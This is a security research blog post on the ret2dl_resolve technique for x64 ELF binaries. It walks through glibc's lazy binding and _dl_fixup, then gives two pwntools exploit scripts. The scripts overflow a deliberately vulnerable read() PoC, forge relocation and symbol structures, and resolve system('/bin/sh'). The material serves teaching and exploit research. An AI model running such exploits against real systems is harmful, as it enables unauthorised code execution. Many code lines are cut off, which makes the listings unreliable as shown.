

12 MAY 2020 / RESEARCH

Ret2dl_resolve x64: Exploiting Dynamic Linking Procedure In x64 ELF Binaries



et2dl_resolve
x64

In this article, we will start analyzing the lazy binding process, we will proceed dissecting dl-runtime, understanding when is possible to use this technique without a leak, and finally we will build our exploit.

The Lazy Binding

When we run a program on Linux, as default behavior, the dynamic linker resolves references to symbols in the shared libraries only when it's needed. In other words, the program doesn't know the address of a specific function in a shared library, until this function is actually referenced.

This process of resolving symbols in run-time, is known as lazy binding.

We can also modify this behavior, forcing the

dynamic linker to perform all relocations at program startup, exporting an environment variable called `LD_BIND_NOW`. Indeed, as we can see in [ld.so man page](#):

```
LD_BIND_NOW (since glibc 2.1.1)
    If set to a nonempty string, causes the dy
    resolve all symbols at program startup ins
    function call resolution to the point when
    erenced. This is useful when using a debu
```

Two of the most important sections involved in the lazy binding process, are respectively called **Procedure Linkage Table (PLT)** and **Global Offset Table (GOT)**.

The **PLT** section, contains executable code and consists of well-defined format stubs. These stubs can be distinguish in a default stub and a series of function stubs. As we can see from the **objdump** output, we have a default stub at **0x401020** followed by a function stub (**read()** in our case) at **0x401030**.

```
objdump -d poc -j .plt -M intel
```

```
Disassembly of section .plt:
```

```
0000000000401020 <.plt>:
```

```
401020:      ff 35 e2 2f 00 00      push
401026:      ff 25 e4 2f 00 00      jmp
40102c:      0f 1f 40 00            nop
```

```
0000000000401030 <read@plt>:
```

```
401030:      ff 25 e2 2f 00 00      jmp
401036:      68 00 00 00 00        push
40103b:      e9 e0 ff ff ff        jmp
```

The **GOT** is a data section and it will be populated in run-time with the addresses of the resolved symbols. It will also contain important addresses that will be used in the symbols resolution process: the **link_map** structure address and the **_dl_runtime_resolve** address, which we will cover shortly.

```
objdump -d poc -j .got.plt -M intel -z
```

```
Disassembly of section .got.plt:
```

```
0000000000404000 <_GLOBAL_OFFSET_TABLE_>:
```

```
404000:      20 3e 40 00 00 00 00 00 00 00
404010:      00 00 00 00 00 00 00 00 00 36 10
```

Let's see what happens when read() is called:


```
pwndbg> x/gx 0x404018
0x404018 <read@got.plt>: 0x0000000000401036 # Not resolved, points back to .plt
```

```
pwndbg> x/2i 0x401020 # plt default stub
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 # link_map
0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 # _dl_runtime_resolve
```

```
pwndbg> x/3i 0x401030
0x401030 <read@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <read@got.plt>
0x401036 <read@plt+6>: push 0x0 # reloc_arg
0x40103b <read@plt+11>: jmp 0x401020
```

```
0x40113b <main+25> call read@plt <0x401030>
fd: 0x0
buf: 0x7fffffffde70 → 0x401150 (__libc_csu_init) ← push r15
nbytes: 0xc8
```

1. From the .text section, instead of calling read directly, there is a call to the corresponding function stub in the .plt section (0x401030).
2. From here, there is an indirect jump in the .got.plt section (0x404018). Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (0x401036).
3. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc_arg is pushed on the stack.
4. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link_map address is

pushed on the stack and finally the control is given to `_dl_runtime_resolve()`.

We will talk about `reloc_arg` and `link_map` in the next section.

`_dl_runtime_resolve` is defined in [dl-trampoline.S](#) and its definition is followed by the inclusion of [dl-trampoline.h](#). Using `gdb`, we can immediately understand what it does:

```
0x7ffff7fe93c0 <_dl_runtime_resolve_xsave>:
0x7ffff7fe93c1 <_dl_runtime_resolve_xsave+1>:
0x7ffff7fe93c4 <_dl_runtime_resolve_xsave+4>:
0x7ffff7fe93c8 <_dl_runtime_resolve_xsave+8>:
0x7ffff7fe93cf <_dl_runtime_resolve_xsave+15>:
0x7ffff7fe93d3 <_dl_runtime_resolve_xsave+19>:
0x7ffff7fe93d8 <_dl_runtime_resolve_xsave+24>:
0x7ffff7fe93dd <_dl_runtime_resolve_xsave+29>:
0x7ffff7fe93e2 <_dl_runtime_resolve_xsave+34>:
0x7ffff7fe93e7 <_dl_runtime_resolve_xsave+39>:
0x7ffff7fe93ec <_dl_runtime_resolve_xsave+44>:
0x7ffff7fe93f1 <_dl_runtime_resolve_xsave+49>:
0x7ffff7fe93f6 <_dl_runtime_resolve_xsave+54>:
0x7ffff7fe93f8 <_dl_runtime_resolve_xsave+56>:
0x7ffff7fe9400 <_dl_runtime_resolve_xsave+64>:
0x7ffff7fe9408 <_dl_runtime_resolve_xsave+72>:
0x7ffff7fe9410 <_dl_runtime_resolve_xsave+80>:
0x7ffff7fe9418 <_dl_runtime_resolve_xsave+88>:
0x7ffff7fe9420 <_dl_runtime_resolve_xsave+96>:
0x7ffff7fe9428 <_dl_runtime_resolve_xsave+104>:
0x7ffff7fe9430 <_dl_runtime_resolve_xsave+112>:
0x7ffff7fe9438 <_dl_runtime_resolve_xsave+120>:
0x7ffff7fe943d <_dl_runtime_resolve_xsave+125>:
0x7ffff7fe9441 <_dl_runtime_resolve_xsave+129>
```

```
0x7ffff7fe9445 <_dl_runtime_resolve_xsave+133>
```

As we can see, it's nothing more than a trampoline to `_dl_fixup`. It starts saving the current processor state, then moves `reloc_arg` in the RSI, `link_map` in the RDI (Following the x86_64 Linux calling conventions AMD64 ABI) and calls `_dl_fixup`. PS: The second instruction, moves RSP in RBX, this way `QWORD PTR [rbx+0x10]` and `QWORD PTR [rbx+0x8]` before calling `_dl_fixup`, point respectively to `reloc_arg` and `link_map`, previously pushed on the stack.

Dissecting dl-runtime

Before starting our analysis, we need to introduce three more important sections: **JMPREL** (`.rela.plt`), **DYNSYM** (`.dynsym`) and **STRTAB** (`.dynstr`). (PS: `.dynsym` is the analogous to `.symtab`, but it contains information about dynamic linking rather than static linking. This also applies to `.dynstr` and `.strtab`)

```
readelf --sections ./poc | egrep "Name|.rela.p
```

	[Nr]	Name	Type	Addr
--	------	------	------	------


	[5]	.dynsym	DYNSYM	0000
--	------	---------	--------	------

```

[ 5] .dynsym          DYNSTR          0000
[ 6] .dynstr          STRTAB          0000
[10] .rela.plt        RELA            0000

```

JMPREL (.rela.plt): It contains information used by the linker to perform relocations. It's composed by 0x18 aligned Elf64_Rel structures.



- **r_offset**: It contains the location where the address of the resolved symbol will be stored (In the GOT).
- **r_info**: Indicates the relocation type and acts as a symbol table index. It will be used to locate the corresponding Elf64_Sym structure in the DYNSTR section.

DYNSTR (.dynsym): It contains a symbol table. It's composed by 0x18 aligned Elf64_Sym structures. Every structure associates a symbolic name with a piece of code elsewhere in the binary.


```

400328
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x000000012000000b
0x0000000000000000 0x0000000000000000
0x00000001200000010 0x0000000000000000
0x0000000000000000 0x000000020000002e
0x0000000000000000 0x0000000000000000

```

```

typedef struct {
    Elf64_Word    st_name;    /* Symbol name (string t
    unsigned char st_info;    /* Symbol type and bindi
    unsigned char st_other;   /* Symbol visibility */
    Elf64_Section st_shndx;   /* Section index */
    Elf64_Addr    st_value;   /* Symbol value */
    Elf64_Xword   st_size;    /* Symbol size */
} Elf64_Sym;

```

- **st_name:** It acts as a string table index. It will be used to locate the right string in the STRTAB section.
- **st_info:** It contains symbol's type and binding attributes.
- **st_other:** It contains symbol's visibility.
- **st_shndx:** It contains the relevant section header table index.
- **st_value:** It contains the value of the associated symbol.
- **st_size:** It contains the symbol's size. If the symbol has no size or the size is unknown, it contains 0.

STRTAB (.dynstr): The strings containing the symbolic names are located here.

```

pwndbg> x/6s 0x400388
0x400388:  ""
0x400389:  "libc.so.6"
0x400393:  "read"
0x400398:  "__libc_start_main"

```

```
0x4003aa: "GLIBC_2.2.5"
0x4003b6: "__gmon_start__"
```

Now we can start our analysis. [_dl_fixup](#) is defined in dl-resolve.c as follow:

```
1  ...
2
3  _dl_fixup (
4
5  # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
6      ELF_MACHINE_RUNTIME_FIXUP_ARGS,
7  # endif
8      struct link_map *l, ElfW(Word) r_info,
9
10     const char *strtab = (const void *) D,
11     const PLTREL *const reloc = (const void *) 0,
12     const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(r_info)],
13     const ElfW(Sym) *refsym = sym;
14     void *const rel_addr = (void *) (l->l_addr + r_info);
15
16     lookup_t result;
17     DL_FIXUP_VALUE_TYPE value;
18
19     /* Sanity check that we're really looking for a symbol. */
20     assert (ELFW(R_TYPE)(r_info) == R_NONE);
21
22     /* Look up the target symbol. If the symbol is not found,
23        and we're not in the global scope, then we're done. */
24     if (__builtin_expect (ELFW(ST_VISIBILITY)(sym->st_visibility) != ST_DEFAULT, 0))
25     {
26         const struct r_found_version *version;
27
28         if (l->l_info[VERSYMIDX (DT_VERSYMINFO)] != 0)
29         {
30             const ElfW(Half) *vernum = (const void *) 0;
31             ElfW(Half) ndx = vernum[ELFW(R_SYM)(r_info)];
32             version = &l->l_versions[ndx];
```

```

33         if (version->hash == 0)
34             version = NULL;
35     }
36
37     int flags = DL_LOOKUP_ADD_DEPENDENT;
38     if (!RTLD_SINGLE_THREAD_P)
39     {
40         THREAD_GSCOPE_SET_FLAG ();
41         flags |= DL_LOOKUP_GSCOPE_LOCK;
42     }
43
44 #ifdef RTLD_ENABLE_FOREIGN_CALL
45     RTLD_ENABLE_FOREIGN_CALL;
46 #endif
47
48     result = _dl_lookup_symbol_x (strtab,
49                                   vers,
50                                   &flags,
51                                   /* We are done with the global scope */
52                                   if (!RTLD_SINGLE_THREAD_P)
53                                       THREAD_GSCOPE_RESET_FLAG ();
54                                   &scope);
55 #ifdef RTLD_FINALIZE_FOREIGN_CALL
56     RTLD_FINALIZE_FOREIGN_CALL;
57 #endif
58
59     /* Currently result contains the base address
60        of the object that defines sym.
61        offset. */
62     value = DL_FIXUP_MAKE_VALUE (result, 0);
63 }
64 else
65 {
66     /* We already found the symbol.
67        the module (and therefore its location)
68        value = DL_FIXUP_MAKE_VALUE(1, SYM_OFFSET);
69        result = 1;
70     }
71
72     /* And now perhaps the relocation address
73     value = elf_machine_plt_value (1, relocation);
74
75     if (sym != NULL && __builtin_expect (0, 1))
76         value = elf_ifunc_invoke (DL_FIXUP_MAKE_VALUE (1, SYM_OFFSET),

```

```

76     value = elf_machine_invoke (dl_bind_no,
77
78     /* Finally, fix up the plt itself.  */
79     if (__glibc_unlikely (GLRO(dl_bind_no)
80         return value;
81
82     return elf_machine_fixup_plt (l, resu
83
84     }
85
86     ...

```

We can see at line 8, that the function accepts two arguments:

```

struct link_map *l, ElfW(Word) reloc_arg

```

These are the arguments that have been previously pushed on the stack and then moved respectively in RDI and RSI.

link_map is an important structure that contains all sort of information regarding a loaded shared object. The linker creates a linked list of link_maps and each link_map structure describes a shared object.

reloc_arg will be used as index to identify the corresponding Elf64_Rel in the JMPREL section.

At line 10, a pointer to the STRTAB section is defined:

```
const char *strtab = (const void *) D_PTR(1, 1
```

l_info (that is located at &link_map + 0x40 and points in the dynamic section), accepts a tag as index, in this case DT_STRTAB, defined as `#define DT_STRTAB 5`, then is passed as second argument to D_PTR macro. D_PTR is defined as `D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)` if the dynamic section is read only, `D_PTR(map, i) (map)->i->d_un.d_ptr` otherwise. It's used to find the d_ptr value in the corresponding Elf64_Dyn structure in the DYNAMIC section (which acts as a sort of “road map” for the dynamic linker). A Elf64_Dyn structure is defined as follow:

```
typedef struct{  
  
    Elf64_Sxword    d_tag;    /* Dynamic entry t  
    union  
    {  
        Elf64_Xword    d_val; /* Integer value *
```



```

        Elf64_Addr    d_ptr; /* Address value */
    } d_un;

} Elf64_Dyn;

```

All this results in `l->l_info[5]->d_un.d_ptr`, the STRTAB address, `0x400388` in our case.

At line 11, a pointer to a `Elf64_Rel` structure is defined:

```

const PLTREL *const reloc = (const void *) (D_

```

Similar to the previous line, `l_info` and `D_PTR` are used to obtain the JMPREL section address, but here, `reloc_offset` is added. `reloc_offset` is defined as `reloc_arg * sizeof (PLTREL) = reloc_arg * 0x18`. We can also notice the **total absence of upper boundaries checks**. This, further on, will allow us to perform the `ret2dl_resolve` technique, using a large `reloc_arg`.

At line 12, a pointer to a `Elf64_Sym` structure is defined:

```

const ElfW(Sym) *sym = &symtab[ELEW(R_SYM)] (re

```

To better understand this line, we need to follow some definitions. ElfW(type) is defined as:

```
#define ElfW(type)          _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)        _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)     e##w##t
```

This means that:

```
ElfW(R_SYM) =
_ElfW(Elf, __ELF_NATIVE_CLASS, R_SYM) =
_ElfW_1(Elf, 64, _R_SYM) =
Elf64_R_SYM
```

and ELF64_R_SYM(i) is defined as:

```
ELF64_R_SYM(i) ((i) >> 32) , so we can read the
```

line 12 as:

```
const ElfW(Sym) *sym = &symtab[reloc->r_info >
```

Basically it's using `reloc->r_info >> 32` as index, to find the corresponding Elf64_Sym structure in

the SYMTAB section.

At line 14, we have:

```
void *const rel_addr = (void *) (l->l_addr + re
```

rel_addr is a pointer to the location where the resolved symbol will be stored (in the GOT).

At line 20, there's an important check:

```
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MAC
```

Elf64_R_TYPE is defined as `ELF64_R_TYPE(i) ((i) & 0xffffffff)` and ELF_MACHINE_JMP_SLOT is defined as R_X86_64_JUMP_SLOT that is equal to 7.

So the line 20 is nothing more than:

```
assert ((reloc->r_info & 0xffffffff) == 0x7);
```

Basically it's checking if `reloc->r_info` is a valid

JUMP_SLOT.

At line 24, there's another check:

```
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym
```

ELF64_ST_VISIBILITY corresponds to

```
ELF32_ST_VISIBILITY(o) ((o) & 0x03) , so the line
```

24 is equal to:

```
if (__builtin_expect ((sym->st_other & 0x03),
```

If the check is **not** satisfied, the symbol is considered already resolved, otherwise the code inside the “if” statement is executed. It starts with a symbol versioning check at line 28:

```
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
```

VERSYMIDX is defined as:

```
#define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNU
```

DT_VERSYM, DT_NUM, DT_THISPROCNUM,
DT_VERNEEDNUM and DT_VERSIONTAGIDX
correspond to:

```
#define DT_VERSYM    0x6ffffff0
#define DT_NUM      35      /* Number used */
#define DT_THISPROCNUM    0
#define DT_VERNEEDNUM    0x6fffffff /* Number used */
#define DT_VERSIONTAGIDX(tag)    (DT_VERNEEDNUM + (tag - 1) * 8)
```

So `VERSYMIDX(DT_VERSYM)` is equal to:

```
VERSYMIDX(0x6ffffff0) =
(DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + 0 + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + (0x6fffffff - 0x6ffffff0)) =
(35 + 0xf) = 0x32
```

Consequently we have:

```
&l (link_map address) + 0x40 (l_info off) + VE
&l + 0x40 + 0x32 * 0x8 =
&l + 0x1d0
```

Specifically, the address of the `DT_VERSYM` entry in the `link_map` structure is:

So, if `(&l + 0x1d0) != NULL`, and usually it is, for example in our case:

```
0x7ffff7fe2a81 <_dl_fixup+97>: mov     r8,QWORD PTR [r10+0x1d0]
0x7ffff7fe2a88 <_dl_fixup+104>: test    r8,r8
```

where R10 contains the `link_map` address and

`QWORD PTR [r10+0x1d0]`, moved in in R8,

corresponds to the address of the `VERSYM` tag in the `DYNAMIC` section:

```
R8 0x403f80 (_DYNAMIC+352) <-- 0x6fffffff0
```

the code in the “if” statement is executed:

```
const ElfW(Half) *vernum = (const void *) D_PTR(l_info, D_VERNUM);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info) / ELFW(Half)];
version = &l->l_versions[ndx];
if (version->hash == 0)
    version = NULL;
```

It obtains the `VERSYM` address using the usual `l_info` and `D_PTR` macro, then calculates “ndx”

using `reloc->r_info >> 32` as index in the

VERSYM section. “ndx” is subsequently used as index in l_versions (that is located at &link_map + 0x2e8 and is an array with version names), to obtain the version name.

Mind this point, we will analyze it in gdb in the exploit part.

Finally, at line 48, _dl_lookup_symbol_x is called, followed by DL_FIXUP_MAKE_VALUE at line 62 and elf_machine_fixup_plt at line 82:

```
result = _dl_lookup_symbol_x (strtab + sym->st
                             version, ELF_R
```

_dl_lookup_symbol_x searches loaded objects' symbol table for a definition of the symbol in `strtab + sym->st_name`. It returns the address of the linkmap structure, and l_addr, the first element in the structure, points to the libc base address.

```
value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_AD
...
return elf_machine_fixup_plt (l, result, refsy
```

DL_FIXUP_MAKE_VALUE finds the offset of the function in the library, relocates it and stores the result in the `value` variable. To do that, it uses the SYMBOL_ADDRESS macro, defined as:

```
#define SYMBOL_ADDRESS(map, ref, map_set)
((ref) == NULL ? 0
 : (__glibc_unlikely ((ref)->st_shndx == SH
 : LOOKUP_VALUE_ADDRESS (map, map_set)) +
```

Where LOOKUP_VALUE_ADDRESS corresponds to:

```
#define LOOKUP_VALUE_ADDRESS(map, set) ((set)
```

If everything goes well, it will result in:

```
value = DL_FIXUP_MAKE_VALUE (1, l->l_addr + sy
```

We can see it in gdb, a couple of instructions after the `_dl_lookup_symbol_x` call:

```
0x7ffff7fe2b1c <_dl_fixup+252>    mov    rax
0x7ffff7fe2b1f <_dl_fixup+255>    add    rax
```

In the first instruction, the r8 contains the link map address, and l_addr is pointing to the libc base address:

```
R8      0x7ffff7fae000 --> 0x7ffff7deb000 <-- 0x3
```

In the second instruction, the rdx is pointing to the location of the corresponding Elf64_Sym structure in libc, found using _dl_lookup_symbol_x:

```
RDX     0x7ffff7df7cd0 <-- 0xe001200002049
```

So it moves the libc base address in rax, and then adds to it the value pointed by rdx + 0x8. `$rdx + 0x8 = 0x7ffff7df7cd0 + 0x8 = 0x7ffff7df7cd8` and corresponds to the location of the **st_value** field in the Elf64_Sym structure:

```
0x7ffff7df7cd8: 0x000000000000ee550
```

So we have: `rax + QWORD PTR [rdx + 8] = libc`
`base address + st_value = 0x7ffff7deb000 +`
`0xee550 = 0x7ffff7ed9550` , the location of the
`read()` function in `libc`!

Now that the relocation is complete,
`elf_machine_fixup_plt` writes the address of the
resolved symbol in the location pointed by
`rel_addr` (In the GOT).

Let's do a quick recap:

1. `_dl_fixup(link_map, reloc_arg)` is called.
2. `const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);`
`_dl_fixup`, based on the value of
`reloc_offset (reloc_arg * 0x18)`, searches in
`.rela.plt` for the corresponding `Elf64_Rel`
structure
3. `const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];`
It uses the `reloc->r_info >> 32` field in
`Elf64_Rel` struct, as an index to find the
corresponding `Elf64_Sym` structure in the
`SYMTAB` section.
4. `assert ((reloc->r_info & 0xffffffff) == 0x7);`

Using `r_info` in the `Elf64_Rel` structure, it
ensures it's looking at a valid `JMP_SLOT`

ensures it's looking at a valid JUMP_SLOT.

5. `if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)`

Using `st_other` in the `Elf64_Sym` structure, it ensures the symbol is not already resolved. `(sym->st_other & 3) != 0` → symbol already resolved, so we need to have `st_other == 0`.

6. `if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)`

It performs a symbol versioning check. Usually, this check is satisfied, so it computes “ndx” from `ElfW(Half) ndx = vernum[reloc->r_info >> 32] & 0x7fff;` and then obtains the version number from `version = &l->l_versions[ndx];`.

7. `result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);`

`_dl_lookup_symbol_x`, searches loaded objects' symbol tables for a definition of the symbol in `strtab + sym->st_name` and returns the `link_map` address. `l_addr` points to the `libc` base address.

8. `value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);`


`DL_FIXUP_MAKE_VALUE` finds the offset of the function from the library and relocates it.

9. `return elf_machine_fixup_plt (l, result,`

```
relsym, sym, reloc, rel_addr, value);
```

elf_machine_fixup_plt writes the address
of the resolved symbol in the location
pointed by rel_addr (In the GOT).

Let's move on to the exploit part!



The Exploit

Now that we know how dl-runtime.c works, write an exploit is relativey easy. We can:

1. Push a large fake reloc_arg on the stack and then jump on the plt default stub. `_dl_fixup` will be called with `link_map` and the fake `reloc_arg` as aguments. This way we can make `const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);` point in our controllable area (bss/heap).
2. In the fake JMPREL section (in our controllable area), we create a fake `Elf64_Rel` structure with a large fake `r_info` field. Now we can make `const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32]` point in our controllable area.
3. Creating the fake `r_info` field, we need to make sure that it ends with `0x7`, so the `assert ((reloc->r_info & 0xffffffff) == 0x7);` check is satisfied.
4. In the fake DYNsym section (in our controllable area), we create a fake `Elf64_Sym` structure with a fake `st_other` field set to `0x00`. This way the `if`

5. In the same `Elf64_Sym` structure we create a large fake `st_name` field. This way we can

make `strtab + sym->st_name` point in our controllable area.

6. Finally, in the fake STRTAB section (in our controllable area), we write a null terminated string, for example `system\x00`. If we did the math correctly, dl-fixup will resolve the symbol we have chosen and we will get a shell!

A problem with the x64 architecture, arises from:

```
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
    const ElfW(Half) *vernum = (const void *) D_
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->
    version = &l->l_versions[ndx];
    if (version->hash == 0)
        version = NULL;
}
```

Let's assume that the .bss, is mapped at 0x601000, and we are using 0x601a00 as starting point of our controllable area. When we fake the JMPREL section in this area, we need to compute the `r_info` field in the corresponding fake `Elf64_Rel` structure. `r_info` is equal to the distance between

our fake .dynsym section and the real SYMTAB, divided by 0x18 (since it will be used as index to

identify the corresponding Elf64_Sym structure and the size of each structure is 0x18 bytes):

```
((fake_dynsym - SYMTAB) / 0x18) << 32) | 0x7,
```

in our case `((0x601a68 - 0x4002b8) / 0x18) << 32) | 0x7 = 0x1565200000007`.

The line `ElfW(Half) ndx = vernum[ELFW(R_SYM)`

`(reloc->r_info)] & 0x7fff;` will result in

`ElfW(Half) ndx = vernum[0x1565200000007 >> 32] &`

`0x7fff;`. The problem is that `0x1565200000007 >>`

`32 = 0x15652`, and it's a very large index.

Let's look at it in gdb:

```
0x7fd3f92fea8d <_dl_fixup+109>: mov     rax,QWORD PTR [r8+0x8]
0x7fd3f92fea91 <_dl_fixup+113>: movzx  eax,WOR
0x7fd3f92fea95 <_dl_fixup+117>: and     eax,0x7
```

`QWORD PTR [r8+0x8]` is a pointer in the VERSYM

section, the RCX contains `0x1565200000007 >> 32`

`= 0x15652`. So `$rax + $rcx*2 = 0x400356 +`

`0x15652*2 = 0x42affa`. This address points in an

invalid memory region, so the binary segfaults.

```
0x42affa: Cannot access memory at address 0x42affa
```


As we can see from [this](#) article a common workaround is to leak the `link_map` address and write a NULL byte at `&l + 0x1d0`, this way, the `if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)` check, won't be satisfied and the program will avoid the code in the "if" statement. Another really interesting solution comes from [this](#) article, but it always requires a leak.

Now let's assume that the `.bss` is mapped at `0x404000` and we decide to use `0x404700` as our controllable area, the `r_info` field in the corresponding fake `Elf64_Rel` structure will be equal to `((fake_dynsym - SYMTAB) / 0x18) << 32) | 0x7` in this case `((0x404768 - 0x400328) / 0x18) << 32) | 0x7 = 0x2d800000007`. In `ElfW(Half) ndx = vernum[0x2d800000007 >> 32] & 0x7fff;`, `0x2d800000007 >> 32 = 0x2d8` and in:

```
0x7fd3f92fea8d <_dl_fixup+109>: mov     rax,QW0
0x7fd3f92fea91 <_dl_fixup+113>: movzx  eax,WOR
0x7fd3f92fea95 <_dl_fixup+117>: and     eax,0x7
```

`$rax + $rcx*2 = 0x4003c6 + 0x2d8*2 = 0x400976`,

will result in a valid pointer:

```
0x400976:      0x0000000000000000
```

With my friend and teammate [FizzBuzz101](#), we started to do some tests and we noticed that using the modern GCC versions, the bss is often mapped at 0x40XXXX, for example: gcc 8.4.0 and 9.3.0 on Kali 4, kernel 5.4.0-kali4-amd64; gcc 7.4.0 and 8.3.0 on Debian 10, kernel 4.19.0-6-amd64 and gcc 9.2.1 on Ubuntu SMP, kernel 5.3.0-51-generic and so on.

Under this condition, we can proceed without needing any workaround.

The vulnerable poc I used for this article is really simple:

```
#include <unistd.h>

void main(void)
{
    char buff[20];
    read(0, buff, 0x90);
}
```

Compiled using gcc 9.2.0

Compiled using gcc 9.3.0: gcc poc.c -o poc -no-

pie

Let's take a look to the exploit:

```
from pwn import *

context.arch = "amd64"
context.log_level = "DEBUG"

p = process("./poc")

def align(addr):
    return (0x18 - (addr) % 0x18)

# Sections
# RWAREA = .bss + N, N >= 0x700, to avoid segf
RW_AREA = 0x404000 + 0x700 # .bss + 0x700
PLT = 0x401020 # .plt default stub
JMPREL = 0x400420 # .rela.plt section
SYMTAB = 0x400328 # .symtab section
STRTAB = 0x400388 # .strtab section

# Gadgets
pop_rdi = 0x4011ab # pop rdi; ret;
pop_rsi_r15 = 0x4011a9 # pop rsi; pop r15; ret
leave_ret = 0x401141 # leave; ret;

plt_read = 0x401030
got_read = 0x404018

# Fake .rela.plt
fake_relaplt = RW_AREA + 0x20 # Right after re
fake_relaplt += align(fake_relaplt - JMPREL) #
reloc_arg = (fake_relaplt - JMPREL) / 0x18

debug("Fake .rela.plt starts at: " + hex(fake_
debug("reloc_arg is: " + hex(reloc_arg))
debug("Expected fake .rela.plt at: hex(reloc_a
: + (" " + 00)
```

```

print(" -"*80)

# Fake .symtab
fake_symtab = fake_relaplt + 0x18
fake_symtab += align(fake_symtab - SYMTAB) # A
r_info = (((fake_symtab - SYMTAB) / 0x18) << 3

debug("Fake .symtab starts at: " + hex(fake_sy
debug("r_info is: " + hex(r_info))
debug("Expected fake .symtab at: hex(((r_info
print("-"*80)

# Fake .strtab
fake_symstr = fake_symtab + 0x18
st_name = fake_symstr - STRTAB
bin_sh = fake_symstr + 0x8

debug("Fake .symstr starts at: " + hex(fake_sy
debug("st_name is: " + hex(st_name))
debug("Expected fake .strtab at: hex(STRTAB +
print("-"*80)

# STAGE 1:
# A second call to read() stores the fake stru
# Then, we jump on RW_AREA using stack pivotin
# PS: rdx already contains 0x90, so we can avo
stage1 = "A" * 32
stage1 += p64(RW_AREA) # We will pivot here us
stage1 += p64(pop_rdi) + p64(0)
stage1 += p64(pop_rsi_r15) + p64(RW_AREA + 0x8
stage1 += p64(plt_read) # read(0, RW_AREA + 0x
stage1 += p64(leave_ret)
stage1 += "X" * (0x90 - len(stage1))

# STAGE 2:
# We send the payload containing the fake stru
stage2 = p64(pop_rdi) + p64(bin_sh)
stage2 += p64(PLT)
stage2 += p64(reloc_arg)

# Fake Elf64_Rel
stage2 += p64(got_read) #r_offset
stage2 += p64(r_info) #r_info

```

```

# Align
stage2 += p64(0)*3

# Fake Elf64_Sym
stage2 += p32(st_name)
stage2 += p8(0x12) # st_info,
stage2 += p8(0) # st_other -> 0x00, bypass ch
stage2 += p16(0) # st_shndx
stage2 += p64(0) # st_value
stage2 += p64(0) # st_size

# Fake strings
stage2 += "system\x00\x00"
stage2 += "/bin/sh\x00"
stage2 += "X" * (0x90 - len(stage2))

p.sendline(stage1 + stage2)
p.interactive()

```

As Fizz pointed out, we can also avoid to pivot in the stage 1. We can create the fake structures on the bss, call main and overflow again. Here's his version of the exploit:

```

from pwn import *

context.arch = "amd64"

bin = ELF('./poc')
p = process('./poc')

PLT = 0x401020 # .plt section

JMPREL = 0x400420 # .rela.plt section
SYMTAB = 0x400328 # .symtab section
STRTAB = 0x400388 # .strtab section

```

```

poprdi = 0x4011ab # pop rdi; ret;
poprsir15 = 0x4011a9 # pop rsi; pop r15; ret;
leave = 0x401141 # leave; ret;

offset = 0x28
read = bin.plt['read']
main = bin.symbols['main']
bss = 0x404000

def wait():
    p.recvrepeat(0.1)

poprdi = 0x4011ab
poprsir15 = 0x4011a9

rbp = bss + 0x900
#need to do math to align reloc_offset and off
resolvedata = bss + 0x920

reloc_offset = (resolvedata - JMPREL) / 0x18
evilsym = resolvedata + 0x10 #to help fake sym

#32 bit alignment was 0x10 for dl resolve stuff
evil = flat( #faking a ELF64_REL
    resolvedata, #r_offset
    0x7 | ((evilsym + 0x18 - SYMTAB) / 0x1
    0, 0, 0, #alignment here
    evilsym + 0x40 - STRTAB, 0, 0, 0, 0,
    'system\x00\x00',
    '/bin/sh\x00'
)

payload = 'A' * offset + p64(poprdi) + p64(0)
p.sendline(payload)
wait()
p.sendline(evil)
ropnop = 0x000000000040109f
payload = 'A' * offset + p64(poprdi) + p64(0x
wait()

p.sendline(payload)
p.interactive()

```



Read **more posts** by this author.

[Read More](#)

— Syst3m Failure —

Research



[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel

[CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver

[corCTF 2021] Wall Of Perdition: Utilizing msg_msg Objects For Arbitrary Read And Arbitrary Write In The Linux Kernel

[See all 4 posts →](#)





CTF

[CUCTF 2020] Hotrod: Exploiting timerfd_ctx Objects In The Linux Kernel



D3V17

1 MIN READ